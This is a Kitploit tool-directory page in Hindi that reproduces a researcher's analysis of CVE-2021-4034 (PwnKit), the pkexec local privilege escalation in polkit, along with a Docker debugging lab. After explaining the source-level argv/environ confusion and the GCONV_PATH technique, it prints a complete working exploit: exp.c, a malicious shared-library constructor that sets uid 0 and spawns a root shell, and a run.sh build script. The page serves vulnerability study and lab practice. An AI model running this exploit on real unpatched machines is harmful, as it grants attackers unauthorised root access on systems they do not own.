Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2021-4034 — CVE-2021-4034 (PolKit pkexec स्थानीय विशेषाधिकार वृद्धि) के लिए विस्तृत लेख और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें व्यावहारिक विश्लेषण और डिबगिंग के लिए एक Docker लैब वातावरण शामिल है। | Kitploit
उपकरण/GitHubGitHub/chenaotian/cve-2021-4034
विशेषाधिकार वृद्धिभेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubchenaotian/cve-2021-4034

CVE-2021-4034

CVE-2021-4034 (PolKit pkexec स्थानीय विशेषाधिकार वृद्धि) के लिए विस्तृत लेख और प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जिसमें व्यावहारिक विश्लेषण और डिबगिंग के लिए एक Docker लैब वातावरण शामिल है।

रिपॉजिटरी देखें
123104 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2021-4034 PolKit स्थानीय विशेषाधिकार वृद्धि विश्लेषण

[toc]

भेद्यता परिचय

भेद्यता आईडी: CVE-2021-4034

भेद्यता स्कोर:

भेद्यता उत्पाद: linux PolKit (pkexec)

प्रभावित संस्करण: 2009 से वर्तमान तक के संस्करण (वर्तमान 0.105) संदर्भ: http://its.dlut.edu.cn/info/1054/78309.htm

उपयोग शर्तें: linux स्थानीय; pkexec suid फ़ाइल है और इसमें निष्पादन अनुमति है

स्रोत कोड प्राप्त करें: apt source policykit-1

​ या https://launchpad.net/ubuntu/bionic/+package/policykit-1

docker वातावरण

docker वातावरण: chenaotian/cve-2021-4034

मेरे द्वारा निर्मित docker, प्रदान करता है:

  1. स्व-संकलित pkexec जिसे स्रोत कोड से डीबग किया जा सकता है
  2. डीबग प्रतीकों के साथ glibc (शायद बेकार)
  3. gdb और gdb प्लगइन pwngdb और pwndbg (शायद आवश्यक नहीं)
  4. डीबग वातावरण में exp

सब कुछ /root/ निर्देशिका में है:

image-20220126183638493

  • exp निर्देशिका वह निर्देशिका है जहाँ exp और run.sh स्थित हैं, आप su test के साथ test उपयोगकर्ता पर स्विच कर सकते हैं और फिर चला सकते हैं
  • glibc-2.27 glibc स्रोत निर्देशिका है, संभवतः उपयोग नहीं होगा, लेकिन जब आवश्यक हो तो gdb स्रोत डीबगिंग के लिए सुविधाजनक
  • polkit-0.105 policykit स्रोत पैकेज है

docker प्रारंभ करें:

root@kitploit:~
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash

exp का परीक्षण करें:

root@kitploit:~
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami

भेद्यता सिद्धांत

भेद्यता polkit के अंतर्गत pkexec कमांड में होती है। pkexec और sudo दोनों ऐसे उपकरण हैं जो हमें किसी अन्य उपयोगकर्ता (आमतौर पर root) के रूप में कमांड निष्पादित करने की अनुमति देते हैं। dpkg कमांड से pkexec का पैकेज देखा जा सकता है:

root@kitploit:~
dpkg -S /usr/bin/pkexec

image-20220126152839307

फिर स्रोत पैकेज प्राप्त करें (मेरे docker में भी है), और फिर स्रोत पैकेज के अनुसार स्वयं एक डीबग करने योग्य संस्करण संकलित करें ताकि डीबगिंग सुविधाजनक हो।

भेद्यता ट्रिगर पॉइंट

भेद्यता ट्रिगर सिद्धांत बहुत सरल है

/polkit-0.105/src/programs/pkexec.c : 386 main

root@kitploit:~
int
main (int argc, char *argv[])
{
    
  ··· ···
  ··· ···
      
  /* 这段的意思就是,循环遍历用户输入参数,根据输入的不同参数设置值
   * 但问题在于,他循环遍历的起点是1,没有考虑用户没有输入任何参数的情况
   */
  for (n = 1; n < (guint) argc; n++) 
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      ··· ···
      else //如果是无法识别的参数则跳出循环,这里意味着该参数是想要执行的命令
        {
          break;
        }
    }

  ··· ···

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]); //获取执行命令具体字符串
  if (path == NULL)
    {
      ···
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      //该函数会根据PATH环境变量寻找要执行命令的绝对地址
      s = g_find_program_in_path (path); 
      if (s == NULL)
        {
          ···
        }
      g_free (path);
      argv[n] = path = s;//把获取到的绝对地址修改回命令行参数
    }
  ··· ···
  ··· ···

कोड में मेरी टिप्पणियों के अनुसार विश्लेषण:

  1. पहले main फ़ंक्शन उपयोगकर्ता द्वारा दिए गए कमांड लाइन तर्कों के आधार पर कुछ चर सेट करता है, लेकिन यहाँ for लूप का प्रारंभिक मान 1 है, जिसका अर्थ है कि यह मानता है कि हम कम से कम एक तर्क (वह कमांड जिसे pkexec निष्पादित करना है) प्रदान करेंगे
  2. यदि -- से शुरू नहीं होने वाला कमांड लाइन तर्क मिलता है, तो इसे निष्पादित किए जाने वाले कमांड के रूप में माना जाता है, और लूप से बाहर निकलकर नीचे के तर्क पर जाता है।
  3. कमांड का पूर्ण पथ खोजने के लिए g_find_program_in_path फ़ंक्शन कॉल करता है। g_find_program_in_path फ़ंक्शन PATH पर्यावरण चर के अनुसार दिए गए तर्क (कमांड) का पूर्ण पथ ढूंढता है। उदाहरण के लिए, cat देने पर /bin/cat लौटाता है।
  4. लौटाए गए पूर्ण पथ को उस कमांड लाइन तर्क के स्थान पर वापस लिखता है। (इसे कमांड से कमांड के संगत फ़ाइल के पूर्ण पथ में रूपांतरण के रूप में समझा जा सकता है)

यह समझना आसान है, लेकिन समस्या यह है:

  1. linux बाइनरी प्रोग्राम चलते समय कमांड लाइन तर्क argv[] और पर्यावरण चर environ[] को स्टैक के नीचे रखता है, और argv[] और environ[] आपस में जुड़े होते हैं। इसमें argv[] का अंतिम तत्व null होता है।

    image-20220126162140802

  2. यदि pkexec कमांड लाइन से बिना किसी अन्य तर्क के शुरू किया जाता है, तो argv[0] "pkexec" होगा और argv[1] \x00 होगा, इसमें कोई समस्या नहीं है। लेकिन यदि execve फ़ंक्शन से pkexec बिना किसी अन्य तर्क के शुरू किया जाता है, तो होगा और पर्यावरण चर में पहुँच जाएगा! जब पढ़ा जाता है, तो यह जाकर पढ़ेगा

तो इसका क्या प्रभाव पड़ेगा? जब execve के साथ बिना किसी अन्य तर्क के शुरू किया जाता है, तो argv[] की लंबाई 0 होती है, और argv[1] environ[0] होता है। इस प्रकार ऊपर विश्लेषित तर्क बन जाता है: पहले पर्यावरण चर का मान प्राप्त करें, और PATH पर्यावरण चर से उसका पूर्ण पथ खोजें। यदि मिल जाए तो पहले पर्यावरण चर में वापस लिखें। तो उपयोग का तरीका इस प्रकार है:

भेद्यता का उपयोग

सबसे पहले यह स्पष्ट करना आवश्यक है कि pkexec एक विशेषाधिकार (suid) फ़ाइल है:

image-20220126161324831

विशेषाधिकार फ़ाइल में पर्यावरण चर का उपयोग करके कुछ कैसे करें? पहले एक छोटा सा विवरण समझें:

एक छोटा सा विवरण

linux का डायनेमिक लिंकर ld-linux-x86-64.so.2 विशेषाधिकार प्रोग्राम निष्पादित होने पर संवेदनशील पर्यावरण चर साफ़ करता है:

फ़ंक्शन _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307

root@kitploit:~
void
_dl_non_dynamic_init (void)
{
  ··· ···
  ··· ···

  if (__libc_enable_secure) //特权模式的情况下
    {
      static const char unsecure_envvars[] =
	UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
	EXTRA_UNSECURE_ENVVARS
#endif
	;
      const char *cp = unsecure_envvars;

      //循环将危险环境变量列表中的环境变量全部清空(unset)
      while (cp < unsecure_envvars + sizeof (unsecure_envvars)) 
	{
	  __unsetenv (cp);
	  cp = (const char *) __rawmemchr (cp, '\0') + 1;
	}

#if !HAVE_TUNABLES
      if (__access ("/etc/suid-debug", F_OK) != 0)
	__unsetenv ("MALLOC_CHECK_");
#endif
    }
··· ···
··· ···
}

खतरनाक पर्यावरण चर सूची UNSECURE_ENVVARS निम्नानुसार परिभाषित है:

glibc-2.27/sysdeps/generic/unsecvars.h : 10

root@kitploit:~
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"							      \
  "GETCONF_DIR\0"							      \
  GLIBC_TUNABLES_ENVVAR							      \
  "HOSTALIASES\0"							      \
  "LD_AUDIT\0"								      \
  "LD_DEBUG\0"								      \
  "LD_DEBUG_OUTPUT\0"							      \
  "LD_DYNAMIC_WEAK\0"							      \
  "LD_HWCAP_MASK\0"							      \
  "LD_LIBRARY_PATH\0"							      \
  "LD_ORIGIN_PATH\0"							      \
  "LD_PRELOAD\0"							      \
  "LD_PROFILE\0"							      \
  "LD_SHOW_AUXV\0"							      \
  "LD_USE_LOAD_BIAS\0"							      \
  "LOCALDOMAIN\0"							      \
  "LOCPATH\0"								      \
  "MALLOC_TRACE\0"							      \
  "NIS_PATH\0"								      \
  "NLSPATH\0"								      \
  "RESOLV_HOST_CONF\0"							      \
  "RES_OPTIONS\0"							      \
  "TMPDIR\0"								      \
  "TZDIR\0"

जब प्रोग्राम को विशेषाधिकार फ़ाइल (suid) के रूप में पहचाना जाता है, तो उपरोक्त पर्यावरण चर साफ़ कर दिए जाते हैं। देखा जा सकता है कि अधिकांश LD_ श्रृंखला के पर्यावरण चर हैं, जिनमें डायनेमिक लाइब्रेरी लोडिंग पथ निर्दिष्ट करने की क्षमता होती है। यह निम्न-अनुमति वाले उपयोगकर्ताओं को इन पर्यावरण चरों के माध्यम से suid प्रोग्राम को अविश्वसनीय so लोड करने, दुर्भावनापूर्ण कोड निष्पादन और फिर विशेषाधिकार वृद्धि से रोकने के लिए है।

और इस भेद्यता परिदृश्य में, हमारे पास एक बार किसी भी पर्यावरण चर को लिखने का अवसर है। हमारी उपयोग रणनीति उन पर्यावरण चरों में से कुछ ढूंढने की कोशिश करना है जो सामान्यतः suid प्रोग्राम में नहीं भेजे जा सकते।

उपयोग सिद्धांत

चूंकि poc पहले ही प्रकाशित हो चुका है, यहाँ सीधे उत्तर देखना बहुत सरल है। यहाँ arthepsy का poc संदर्भित है। सामग्री बहुत सरल है, लेकिन इस poc से पता चलता है कि उपयोग में महत्वपूर्ण पर्यावरण चर GCONV_PATH है। यह वास्तव में उपरोक्त खतरनाक पर्यावरण चर सूची का एक सदस्य है, और पहला भी!

GCONV_PATH और iconv_open() फ़ंक्शन के बारे में:

iconv_open() फ़ंक्शन एक रूपांतरण डिस्क्रिप्टर आवंटित करता है, जो वर्ण अनुक्रम को एन्कोडिंग fromcode से एन्कोडिंग tcode में परिवर्तित करता है। रूपांतरण डिस्क्रिप्टर में रूपांतरण स्थिति होती है। iconv_open() फ़ंक्शन पहले सिस्टम द्वारा प्रदान की गई gconv-modules फ़ाइल ढूंढता है, जिसमें विभिन्न वर्ण सेटों की संबंधित जानकारी के संग्रहण पथ होते हैं, प्रत्येक वर्ण सेट की जानकारी एक .so फ़ाइल में संग्रहीत होती है। फिर gconv-modules फ़ाइल के निर्देशों के अनुसार संबंधित .so फ़ाइल को लिंक करके विशिष्ट कार्य करता है। यदि पर्यावरण चर GCONV_PATH मौजूद है, तो iconv_open() फ़ंक्शन GCONV_PATH के अनुसार gconv-modules फ़ाइल ढूंढता है, और बाद के कार्य अपरिवर्तित रहते हैं।

अर्थात, यहाँ GCONV_PATH पर्यावरण चर का भी LD_LIBRARY_PATH के समान कार्य है। यह iconv_open() फ़ंक्शन को so लाइब्रेरी फ़ाइल खोजने के लिए निर्दिष्ट कर सकता है। यदि हम GCONV_PATH को गलत साबित कर सकें और फिर gconv-modules को गलत साबित करें, और अंत में एक गलत so बनाएँ, तो हम किसी भी so को लोड कर सकते हैं और कोई भी कोड निष्पादित कर सकते हैं।

मोटा तरीका इस प्रकार है:

  1. GCONV_PATH=. नामक एक निर्देशिका बनाएँ

  2. GCONV_PATH=. निर्देशिका में pwnkitdir नामक एक फ़ाइल बनाएँ, जिसमें x अनुमति हो

  3. pwnkitdir नामक एक निर्देशिका बनाएँ

  4. pwnkit निर्देशिका में gconv-modules फ़ाइल बनाएँ, और प्रारूप के अनुसार निम्नलिखित सामग्री लिखें:

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  5. pwnkit निर्देशिका में दुर्भावनापूर्ण so pwnkit.so रखें, जिसमें शेल प्राप्त करने का कोड हो।

  6. संबंधित पर्यावरण चर सेट करें

    1. पहला पर्यावरण चर pwnkitdir
    2. दूसरा पर्यावरण चर PATH=GCONV_PATH=. ताकि g_find_program_in_path फ़ंक्शन द्वारा संयोजित पथ हो, जो बिल्कुल पर्यावरण चर का प्रारूप है, और निर्देशिका मौजूद है, फ़ाइल भी मौजूद है।

फिर यह सफल हो जाता है, विस्तृत exp निम्नलिखित है:

exp

exp.c

root@kitploit:~
#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv)
{
        char * const a_argv [] = { NULL};
        char * const a_envp[] = {
                "pwnkitdir",
                "PATH=GCONV_PATH=.",
                "CHARSET=PWNKIT",
                "SHELL=xxx",
                NULL
        };
        execve("/usr/local/bin/pkexec", a_argv, a_envp); //注意路径根据实际情况修改哦
}

lib.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
        setuid(0); seteuid(0); setgid(0); setegid(0);
        static char *a_argv[] = { "sh", NULL };
        static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
        execve("/bin/sh", a_argv, a_envp);
}

run.sh

root@kitploit:~
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp

उपयोग सफल:

image-20220126182231579

शमन उपाय

नवीनतम संस्करण में अपग्रेड करें

संदर्भ

भेद्यता प्रकटीकरण: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

arthepsy‘s poc: https://github.com/arthepsy/CVE-2021-4034

टूल डाउनलोड करें
argv[0]
\x00
argv[1]
argv[1]
सीमा से बाहर
environ[0]

कमांड लाइन से सीधे pkexec शुरू करने पर argc 1 होता है, argv[0] pkexec का पथ होता है:

image-20220126162616203

execve फ़ंक्शन से pkexec शुरू करने पर argc 0 होता है:

image-20220126162804529

GCONV_PATH=./pwnkitdir
./pwnkitdir
GCONV_PATH=./pwnkitdir
  • CHARSET=PWNKIT पर्यावरण चर, जो iconv_open तक पहुंचने के रास्ते में उपयोग होता है, gconv-modules से so खोजने के लिए।
  • SHELL=xxx, जो iconv_open तक पहुंचने के रास्ते में उपयोग होता है
  • execve के माध्यम से pkexec को खाली तर्कों और ऊपर सेट किए गए पर्यावरण चरों के साथ प्रारंभ करें